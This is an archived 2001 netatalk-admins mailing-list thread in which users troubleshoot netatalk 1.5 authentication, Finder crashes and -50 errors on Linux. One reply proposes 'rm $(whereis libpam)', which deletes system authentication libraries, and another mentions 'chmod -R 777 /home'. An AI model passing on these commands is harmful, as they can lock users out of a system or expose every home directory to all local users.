	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 25 Sep 2001 23:05:24 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id XAA04817
	for netatalk.administrators-members@umich.edu; Tue, 25 Sep 2001 23:05:23 -0400 (EDT)
Received: from carme.affordablehost.com (host77.globaltap.com [64.23.37.77])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id XAA04778
	for <netatalk-admins@umich.edu>; Tue, 25 Sep 2001 23:05:22 -0400 (EDT)
From: mikko@fs.sorl.net
Received: (qmail 12536 invoked from network); 26 Sep 2001 03:03:15 -0000
Received: from as6-6-3.kt.g.bonet.se (HELO sorl2.fs.sorl.net) (194.236.50.26)
  by host77.globaltap.com with SMTP; 26 Sep 2001 03:03:15 -0000
Message-Id: <5.1.0.14.2.20010926050640.019cdb18@carme.affordablehost.com>
X-Sender: postmaster%fs.sorl.net@carme.affordablehost.com
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Wed, 26 Sep 2001 05:07:36 +0200
To: Mark Guertin <mark@artshouse.com>
Subject: Re: Slackware 8 + netatalk 1.5x problems
Cc: netatalk-admins@umich.edu
In-Reply-To: <B7D4E5B8.B14%mark@artshouse.com>
References: <B7D0FA4E.B1DD%xris@mac.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

How does one remove "-lpam (PAM)" that you describe?

All the best /Mikko






At 19:29 2001-09-24, you wrote:
>Thanks muchly
>
>Finally got it going, used the latest CVS (pre7), it compiled cleanly.
>
>The problems for me were as follows:
>
>replaced both the openssl and openssh pkgs from slackware 8.0 with latest
>versions, also my system somehow had a -lpam (PAM) on it...removed that.
>
>It now works fine, about to do some extensive testing w/ Quark, etc.
>
>Thanks for the help.
>
>Mark
>
> > From: xris <xris@mac.com>
> > Date: Fri, 21 Sep 2001 14:08:15 -0700
> > To: Mark Guertin <mark@artshouse.com>, <netatalk-admins@umich.edu>
> > Subject: Re: Slackware 8 + netatalk 1.5x problems
> > Resent-From: netatalk-admins@umich.edu
> > Resent-Date: Fri, 21 Sep 2001 17:11:21 -0400 (EDT)
> >
> >> Anyone out there tried this combination?
> >> No matter what I do it seems I can't get any kind of authentication
> >> happening, not even cleartext works...
> >> have setup afppasswd via the admin tool, etc...
> >> Any slackware users out there can offer help/tips/suggestions?
> >
> > Several of us have tried 1.5pre7 with no luck.  The best solution we've
> > found is to go back to 1.5pre6 and use something like the following (my
> > config)
> >
> > ./configure --with-shadow --without-pam --with-tcp-wrappers \
> > --enable-lastdid --disable-ddp \
> > --with-ssl-dir=/usr/local/ssl --with-config-dir=/etc/atalk
> >
> > Also, make sure that you grab the latest version of openssl, as the one 
> that
> > comes with slackware doesn't seem to work (this seems to be the main reason
> > the passwords fail).   If you have any luck with pre7, please let us know..
> >
> > -Chris
> >



From netatalk.administrators-errors@umich.edu  Wed Sep 26 02:29:23 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA07483
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 26 Sep 2001 02:29:22 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id CAA26418
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 26 Sep 2001 02:29:22 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id CAA26401
	for netatalk.administrators-members@umich.edu; Wed, 26 Sep 2001 02:29:22 -0400 (EDT)
Received: from mail44.fg.online.no (mail44-s.fg.online.no [148.122.161.44])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id CAA26363
	for <netatalk-admins@umich.edu>; Wed, 26 Sep 2001 02:29:20 -0400 (EDT)
Received: from 130.67.50.136 (ti100710a065-0136.dialup.online.no [130.67.50.136])
	by mail44.fg.online.no (8.9.3/8.9.3) with SMTP id IAA13051
	for <netatalk-admins@umich.edu>; Wed, 26 Sep 2001 08:29:18 +0200 (MET DST)
Date: 26 Sep 2001 08:26:39 +0200
Message-ID: <936853942gjermund@mac.com>
From: Gjermund G Thorsen <gjermund@mac.com>
Subject: Re: Slackware 8 + netatalk 1.5x problems
To: <netatalk-admins@umich.edu>
X-Mailer: QuickMail Pro 2.1 (Mac)
X-Priority: 3
MIME-Version: 1.0
Reply-To: Gjermund G Thorsen <gjermund@mac.com>
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id CAA07483

how about rm $(whereis libpam)

probably smart to check with just

whereis libpam

first
-- 
Yours Sincerely,

Gjermund Gusland Thorsen



"Im just sitting here listening to the scream of the butterfly"

On onsdag 26. september 2001 05:07, mikko@fs.sorl.net wrote:
>How does one remove "-lpam (PAM)" that you describe?
>
>All the best /Mikko
>
>
>
>
>
>
>At 19:29 2001-09-24, you wrote:
>>Thanks muchly
>>
>>Finally got it going, used the latest CVS (pre7), it compiled cleanly.
>>
>>The problems for me were as follows:
>>
>>replaced both the openssl and openssh pkgs from slackware 8.0 with latest
>>versions, also my system somehow had a -lpam (PAM) on it...removed that.
>>
>>It now works fine, about to do some extensive testing w/ Quark, etc.
>>
>>Thanks for the help.
>>
>>Mark
>>
>> > From: xris <xris@mac.com>
>> > Date: Fri, 21 Sep 2001 14:08:15 -0700
>> > To: Mark Guertin <mark@artshouse.com>, <netatalk-admins@umich.edu>
>> > Subject: Re: Slackware 8 + netatalk 1.5x problems
>> > Resent-From: netatalk-admins@umich.edu
>> > Resent-Date: Fri, 21 Sep 2001 17:11:21 -0400 (EDT)
>> >
>> >> Anyone out there tried this combination?
>> >> No matter what I do it seems I can't get any kind of authentication
>> >> happening, not even cleartext works...
>> >> have setup afppasswd via the admin tool, etc...
>> >> Any slackware users out there can offer help/tips/suggestions?
>> >
>> > Several of us have tried 1.5pre7 with no luck.  The best solution we've
>> > found is to go back to 1.5pre6 and use something like the following (my
>> > config)
>> >
>> > ./configure --with-shadow --without-pam --with-tcp-wrappers \
>> > --enable-lastdid --disable-ddp \
>> > --with-ssl-dir=/usr/local/ssl --with-config-dir=/etc/atalk
>> >
>> > Also, make sure that you grab the latest version of openssl, as the one 
>> that
>> > comes with slackware doesn't seem to work (this seems to be the main reason
>> > the passwords fail).   If you have any luck with pre7, please let us know..
>> >
>> > -Chris
>> >
>
>


From netatalk.administrators-errors@umich.edu  Wed Sep 26 03:59:39 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA11262
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 26 Sep 2001 03:59:39 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id DAA07490
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 26 Sep 2001 03:59:39 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id DAA07474
	for netatalk.administrators-members@umich.edu; Wed, 26 Sep 2001 03:59:39 -0400 (EDT)
Received: from axiom.anu.edu.au (axiom.anu.edu.au [150.203.127.200])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id DAA07413
	for <netatalk-admins@umich.edu>; Wed, 26 Sep 2001 03:59:37 -0400 (EDT)
Received: from kimh.anu.edu.au (rsisedhcp-215.anu.edu.au [150.203.126.215])
	(authenticated (0 bits))
	by axiom.anu.edu.au (8.11.2/1.1 Herple Unix 5.3) with ESMTP id f8Q7xUG29222
	(using TLSv1/SSLv3 with cipher DES-CBC3-SHA (168 bits) verified NO)
	for <netatalk-admins@umich.edu>; Wed, 26 Sep 2001 17:59:33 +1000
Message-Id: <5.1.0.14.2.20010926173027.00a99500@mail.asiaonline.net.au>
X-Sender: kimh@axiom.anu.edu.au
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Wed, 26 Sep 2001 17:42:42 +1000
To: netatalk-admins@umich.edu
From: Kim Holburn <kim.holburn@anu.edu.au>
Subject: crashing finder MacOS 10.0.4
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"

I just set up netatalk on a suse linux box here latest rpm from suse(7.1) 1.4.99-14.i386  It seems to work normally for MacOS 9, I can log in OK on a MacOS 9 box, mount volumes etc.  

When I log in on a MacOS X (10.0.4) I find the server, I log in and get a list of volumes then when I choose one and open it the finder crashes and restarts and then gives me the message "The file server "yyy" connection has unexpectedly closed down".  I set up a guest account to check for authentication problems but that had the same result.

Here is the syslog for the session (ip numbers changed):

Sep 26 17:29:00 yyy afpd[28871]: ASIP session:548(2) from 139.130.1.74:49881(0)
Sep 26 17:29:00 yyy afpd[28871]: cleartext login: fred
Sep 26 17:29:00 yyy afpd[28871]: login fred(uid 5533, gid 100)
Sep 26 17:29:00 yyy afpd[28871]: options->admingid == 0
Sep 26 17:29:00 yyy afpd[28871]: begin afp_getfildirparams:
Sep 26 17:29:00 yyy afpd[28871]: end afp_getfildirparams:
Sep 26 17:29:00 yyy afpd[28871]: begin afp_getfildirparams:
Sep 26 17:29:00 yyy afpd[28871]: end afp_getfildirparams:
Sep 26 17:29:02 yyy afpd[28871]: begin afp_getfildirparams:
Sep 26 17:29:02 yyy afpd[28871]: end afp_getfildirparams:
Sep 26 17:29:02 yyy afpd[28871]: begin afp_getfildirparams:
Sep 26 17:29:02 yyy afpd[28871]: end afp_getfildirparams:
Sep 26 17:29:02 yyy afpd[28871]: begin afp_getfildirparams:
Sep 26 17:29:02 yyy afpd[28871]: end afp_getfildirparams:
Sep 26 17:29:02 yyy afpd[28871]: begin afp_getfildirparams:
Sep 26 17:29:02 yyy afpd[28871]: end afp_getfildirparams:
Sep 26 17:29:02 yyy afpd[28871]: begin afp_getfildirparams:
Sep 26 17:29:02 yyy afpd[28871]: end afp_getfildirparams:
Sep 26 17:29:02 yyy afpd[28871]: begin afp_getfildirparams:
Sep 26 17:29:02 yyy last message repeated 7 times
Sep 26 17:29:02 yyy afpd[28871]: dsi_stream_read(0): No such file or directory
Sep 26 17:29:02 yyy afpd[28871]: 1.03KB read, 9.32KB written
Sep 26 17:29:02 yyy afpd[28871]: Connection terminated
Sep 26 17:29:02 yyy afpd[28762]: server_child[1] 28871 exited 1

Anyone know what the problem is?  

Kim

--
Kim Holburn  Network Consultant  P: +61 2 61258620 M: +61 0417820641
Email: kim.holburn@anu.edu.au - PGP Public Key on request

Life is complex - It has real and imaginary parts.
     Andrea Leistra (rec.arts.sf.written.Robert-jordan)


From netatalk.administrators-errors@umich.edu  Wed Sep 26 04:25:24 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA12282
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 26 Sep 2001 04:25:24 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id EAA24158
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 26 Sep 2001 04:25:24 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id EAA24141
	for netatalk.administrators-members@umich.edu; Wed, 26 Sep 2001 04:25:23 -0400 (EDT)
Received: from ureach.com (mail.ureach.com [63.150.151.36])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id EAA24109
	for <netatalk-admins@umich.edu>; Wed, 26 Sep 2001 04:25:22 -0400 (EDT)
Received: from www22.ureach.com (IDENT:root@www22.ureach.com [172.16.2.50])
	by ureach.com (8.9.1/8.8.5) with ESMTP id EAA13550
	for <netatalk-admins@umich.edu>; Wed, 26 Sep 2001 04:25:22 -0400
Received: (from nobody@localhost)
	by www22.ureach.com (8.9.3/8.9.1) id EAA19149;
	Wed, 26 Sep 2001 04:25:22 -0400
Date: Wed, 26 Sep 2001 04:25:22 -0400
Message-Id: <200109260825.EAA19149@www22.ureach.com>
To: netatalk-admins@umich.edu
From: Phillip Hutchings <sitharus@ureach.com>
Reply-to: <sitharus@ureach.com>
Subject: Authentication failure
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-vsuite-type: e

hi,

I am running RedHat 7 and have recently tried to
get netatalk 1.5pre7 running. I've tried PAM and
the clear text options, but nothing seems to work,
I just get the incorrect password box on the mac.

When I try PAM it gives the following:
dhx login: <name>
uams_dhx_pam.c :PAM: PAM_Error: Authentication
failure -- No such file or directory
server child[1] <PID> done

Cleartext produces:
cleartext login: <name>
server child[1] <PID> done

Any ideas? I havent been able to update my system
because up2date doesnt seem to work, I'm going to
give it another go...

________________________________________________
Get your own "800" number
Voicemail, fax, email, and a lot more
http://www.ureach.com/reg/tag

From netatalk.administrators-errors@umich.edu  Wed Sep 26 05:23:04 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA14055
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 26 Sep 2001 05:23:04 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id FAA08100
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 26 Sep 2001 05:23:04 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id FAA08082
	for netatalk.administrators-members@umich.edu; Wed, 26 Sep 2001 05:23:04 -0400 (EDT)
Received: from carme.affordablehost.com (host77.globaltap.com [64.23.37.77])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id FAA08054
	for <netatalk-admins@umich.edu>; Wed, 26 Sep 2001 05:23:03 -0400 (EDT)
From: mikko@fs.sorl.net
Received: (qmail 9071 invoked from network); 26 Sep 2001 09:20:56 -0000
Received: from as6-6-3.kt.g.bonet.se (HELO sorl2.fs.sorl.net) (194.236.50.26)
  by host77.globaltap.com with SMTP; 26 Sep 2001 09:20:56 -0000
Message-Id: <5.1.0.14.2.20010926110453.019e41d0@carme.affordablehost.com>
X-Sender: postmaster%fs.sorl.net@carme.affordablehost.com
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Wed, 26 Sep 2001 11:25:31 +0200
To: netatalk-admins@umich.edu
Subject: Re: Slackware 8 + netatalk 1.5x problems
In-Reply-To: <936853942gjermund@mac.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

After trying alot of different ways to get this running I finally
get 1.5pr7 running on Slackware 8. I am by no means a *nix guru.
I had to recompile the kernel to support my NIC properly and then I installed
freessl & freessh as suggested.

RH 7.1 - irregular -50 errors, probably tried all the suggestions on fixes, 
dependent variable unknown.
FreeBSD 4.4 - capped my bandwidth @ 80KB/s but it worked fine.

All the best /Mikko



From netatalk.administrators-errors@umich.edu  Thu Sep 27 10:06:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA19800
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 27 Sep 2001 10:06:18 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA22823
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 27 Sep 2001 10:06:18 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA22805
	for netatalk.administrators-members@umich.edu; Thu, 27 Sep 2001 10:06:17 -0400 (EDT)
Received: from millions.linux-site.net (kato-6400-ws1-50.dsl.hickorytech.net [216.114.197.50])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA22521
	for <netatalk-admins@umich.edu>; Thu, 27 Sep 2001 10:06:10 -0400 (EDT)
Received: from localhost (localhost [127.0.0.1])
	by millions.linux-site.net (8.11.0/8.11.0) with ESMTP id f8RE7B418250
	for <netatalk-admins@umich.edu>; Thu, 27 Sep 2001 09:07:11 -0500
Date: Thu, 27 Sep 2001 09:07:11 -0500 (CDT)
From: "Flint Million (netatalk)" <netatalk@millions.linux-site.net>
To: netatalk-admins@umich.edu
Subject: error -1070 ??
Message-ID: <Pine.LNX.4.21.0109270902490.18248-100000@millions.linux-site.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Anyone know what specifically an Error -1070 means? We use an Apple script
to connect to our Netatalk server (for security reasons we have the
Chooser locked), but there are (random) times that the script fails
mounting with an Error -1070, which the error code database simply calls a
"parameter error." Anyone know what this means/what to do about
it? Usually a reboot solves the problem but not always. I haven't noticed
any significant patterns that show exactly what's causing the script to
stop working on a given system. BTW, the script is using the "mount
volume" command with an AFP URL. (it's using TCP/IP) And BTW: the chooser
still works even when the Apple script stops working.

I can post the script somewhere if anyone wants to see it, but all it
really does is ask the user for their username and password and then
construct the AFP URL and mount it, checking the result and reporting any
errors.

Netatalk is on a RH 7.0 server with 1.5pre3. I've also seen this happen on
pre6 and 1.4+asun2.1.4.

--Flint million



From netatalk.administrators-errors@umich.edu  Thu Sep 27 14:51:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA09548
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 27 Sep 2001 14:51:25 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA17055
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 27 Sep 2001 14:51:24 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA17036
	for netatalk.administrators-members@umich.edu; Thu, 27 Sep 2001 14:51:24 -0400 (EDT)
Received: from mail.burneydesign.com (mail.burneydesign.com [216.166.207.34])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA17001
	for <netatalk-admins@umich.edu>; Thu, 27 Sep 2001 14:51:23 -0400 (EDT)
Received: from [192.168.42.39] (216.166.207.35) by mail.burneydesign.com
 with ESMTP (Eudora Internet Mail Server 1.3.1); Thu, 27 Sep 2001 14:51:26 -0400
Mime-Version: 1.0
X-Sender: charles@mail.burneydesign.com
Message-Id: <f05100300b7d9238b6524@[192.168.42.39]>
Date: Thu, 27 Sep 2001 14:53:45 -0400
To: netatalk-admins@umich.edu
From: Charles Mangin <charles@burneydesign.com>
Subject: so, options:noadouble just plain doesn't work?
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

after banging my head on the problem i described in a previous email 
- namely that i could copy files to my netatalk linux server without 
trouble except when said files were enclosed in a folder - i watched 
closely on the server what exactly was going on. i mistakenly thought 
that there was one .AppleDouble directory at the root of a 
mountpoint, like there is one .AppleDesktop, and that that was having 
permission problems. chowning and chmodding it made no difference. 
then i realized there was a .AppleDouble inside every folder i 
created, despite the fact that i had specified noadouble in the 
options in the server config file. realizing that was what was having 
permission problems, i turned off that switch, and the problem went 
away.

so, essentially, with noadouble enabled, the idea is not to create a 
.AppleDouble until it's absolutely necessary - i.e. when there is a 
file that has a resource fork copied onto the server - but the 
directory is created anyway, even though there might not be anything 
in it. when something does have to go in there, the permissions 
aren't set right, so the resource fork can't be written there, and it 
fails, giving up with a -50 or "file is locked" error on the client.

with noadouble disabled, the .AppleDouble is created as always, but 
with the correct write permissions, since it knows ahead of time that 
resource forks are going to be written willy-nilly.

this, of course, is only how i understand it. i'm probably wrong or 
terribly misguided. please clarify anything that i've missed.

From netatalk.administrators-errors@umich.edu  Thu Sep 27 15:50:36 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA12545
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 27 Sep 2001 15:50:36 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA11840
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 27 Sep 2001 15:50:36 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA11829
	for netatalk.administrators-members@umich.edu; Thu, 27 Sep 2001 15:50:36 -0400 (EDT)
Received: from mail.burneydesign.com (mail.burneydesign.com [216.166.207.34])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA11806
	for <netatalk-admins@umich.edu>; Thu, 27 Sep 2001 15:50:34 -0400 (EDT)
Received: from [192.168.42.39] (216.166.207.35) by mail.burneydesign.com
 with ESMTP (Eudora Internet Mail Server 1.3.1); Thu, 27 Sep 2001 15:50:34 -0400
Mime-Version: 1.0
X-Sender: charles@mail.burneydesign.com
Message-Id: <f05100302b7d93378259f@[192.168.42.39]>
In-Reply-To: <p05010400b7d92ef286c3@[129.186.14.37]>
References: <f05100300b7d9238b6524@[192.168.42.39]>
 <p05010400b7d92ef286c3@[129.186.14.37]>
Date: Thu, 27 Sep 2001 15:52:57 -0400
To: Zachary Kotlarek <profplump@theempire.mine.nu>
From: Charles Mangin <charles@burneydesign.com>
Subject: Re: so, options:noadouble just plain doesn't work?
Cc: netatalk-admins@umich.edu
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

>Have you upgraded netatalk since your original install? When I went 
>from 1.4.x to 1.5pre3 I found the .appledouble data to be 
>incompatible. I was able to move/delete files existing on the 
>server, but could not write new files without a -50 error.


nope. this is a new install of 1.5pre. i had figured ther would be 
problems in upgrading, since so much changed from 1.4x to 1.5

the options:noadouble is the culprit, i'm certain now. i created two 
shares on the server, one with noadouble enabled, and one with 
noadouble disabled, both pointing to the same place. copying a folder 
with files in it to one share worked fine; copying the same files to 
the other share failed every time with "file is locked"


From netatalk.administrators-errors@umich.edu  Thu Sep 27 21:34:40 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA27112
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 27 Sep 2001 21:34:40 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id VAA09141
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 27 Sep 2001 21:34:40 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id VAA09118
	for netatalk.administrators-members@umich.edu; Thu, 27 Sep 2001 21:34:39 -0400 (EDT)
Received: from carme.affordablehost.com (host77.globaltap.com [64.23.37.77])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id VAA09077
	for <netatalk-admins@umich.edu>; Thu, 27 Sep 2001 21:34:38 -0400 (EDT)
From: mikko@fs.sorl.net
Received: (qmail 29841 invoked from network); 28 Sep 2001 01:32:17 -0000
Received: from as6-6-3.kt.g.bonet.se (HELO sorl2.fs.sorl.net) (194.236.50.26)
  by host77.globaltap.com with SMTP; 28 Sep 2001 01:32:17 -0000
Message-Id: <5.1.0.14.2.20010928032116.019cdb18@carme.affordablehost.com>
X-Sender: postmaster%fs.sorl.net@carme.affordablehost.com
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Fri, 28 Sep 2001 03:37:25 +0200
To: netatalk-admins@umich.edu
Subject: -50 errors
In-Reply-To: <f05100302b7d93378259f@[192.168.42.39]>
References: <p05010400b7d92ef286c3@[129.186.14.37]>
 <f05100300b7d9238b6524@[192.168.42.39]>
 <p05010400b7d92ef286c3@[129.186.14.37]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

About those -50 errors.
I now know why they happend so totally irregular here on RH7.1,
they also do in Slackware here.

As I monitor the 'ifconfig -a'....
suddenly I get an RX error, then 10 seconds later the transfer stops and 
the mac says -50 error.
This -50 error is not due to a permission problem even tho -50 is supposed 
to mean that.
I have tried chmod -R 777 /home etc. etc.

At home I have a simple hub so I hope this is the problem. It also occurs
when I connect the mac<->linux with a crossedwire cable, just not as often. 
I have
tried changing the NIC in the linux box to a 3com 905b from realtec 8139 
based one, still RX errors (even more often).
I hope this will be solved when I use a switch, if not its got to be the 
mac having problems sending packets.

Could someone with hub OR crosswired cable confirm or deny this?

All the best /Mikko


From netatalk.administrators-errors@umich.edu  Thu Sep 27 22:03:53 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA28053
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 27 Sep 2001 22:03:53 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id WAA29459
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 27 Sep 2001 22:03:52 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id WAA29438
	for netatalk.administrators-members@umich.edu; Thu, 27 Sep 2001 22:03:52 -0400 (EDT)
Received: from axiom.anu.edu.au (axiom.anu.edu.au [150.203.127.200])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id WAA29369
	for <netatalk-admins@umich.edu>; Thu, 27 Sep 2001 22:03:50 -0400 (EDT)
Received: from kimh.anu.edu.au (rsisedhcp-215.anu.edu.au [150.203.126.215])
	(authenticated (0 bits))
	by axiom.anu.edu.au (8.11.2/1.1 Herple Unix 5.3) with ESMTP id f8S23bG04694
	(using TLSv1/SSLv3 with cipher DES-CBC3-SHA (168 bits) verified NO);
	Fri, 28 Sep 2001 12:03:38 +1000
Message-Id: <5.1.0.14.2.20010928120029.0427ae50@axiom.anu.edu.au>
X-Sender: kimh@axiom.anu.edu.au
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Fri, 28 Sep 2001 12:03:53 +1000
To: mikko@fs.sorl.net, netatalk-admins@umich.edu
From: Kim Holburn <kim.holburn@anu.edu.au>
Subject: Re: -50 errors
In-Reply-To: <5.1.0.14.2.20010928032116.019cdb18@carme.affordablehost.co
 m>
References: <f05100302b7d93378259f@[192.168.42.39]>
 <p05010400b7d92ef286c3@[129.186.14.37]>
 <f05100300b7d9238b6524@[192.168.42.39]>
 <p05010400b7d92ef286c3@[129.186.14.37]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"

I had a problem like this on RH7.1 with a realtek ethernet card.  Nothing to do with netatalk.  All network traffic would hang after an arbitrary amount of data <10K transferred.  Went away after using another card.

At 03:37 AM 28/09/2001 +0200, mikko@fs.sorl.net wrote:
>About those -50 errors.
>I now know why they happend so totally irregular here on RH7.1,
>they also do in Slackware here.
>
>As I monitor the 'ifconfig -a'....
>suddenly I get an RX error, then 10 seconds later the transfer stops and the mac says -50 error.
>This -50 error is not due to a permission problem even tho -50 is supposed to mean that.
>I have tried chmod -R 777 /home etc. etc.
>
>At home I have a simple hub so I hope this is the problem. It also occurs
>when I connect the mac<->linux with a crossedwire cable, just not as often. I have
>tried changing the NIC in the linux box to a 3com 905b from realtec 8139 based one, still RX errors (even more often).
>I hope this will be solved when I use a switch, if not its got to be the mac having problems sending packets.
>
>Could someone with hub OR crosswired cable confirm or deny this?
>
>All the best /Mikko

--
Kim Holburn  Network Consultant  P: +61 2 61258620 M: +61 0417820641
Email: kim.holburn@anu.edu.au - PGP Public Key on request

Life is complex - It has real and imaginary parts.
     Andrea Leistra (rec.arts.sf.written.Robert-jordan)


From netatalk.administrators-errors@umich.edu  Fri Sep 28 09:50:00 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA21573
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 28 Sep 2001 09:50:00 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA25283
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 28 Sep 2001 09:50:00 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA25273
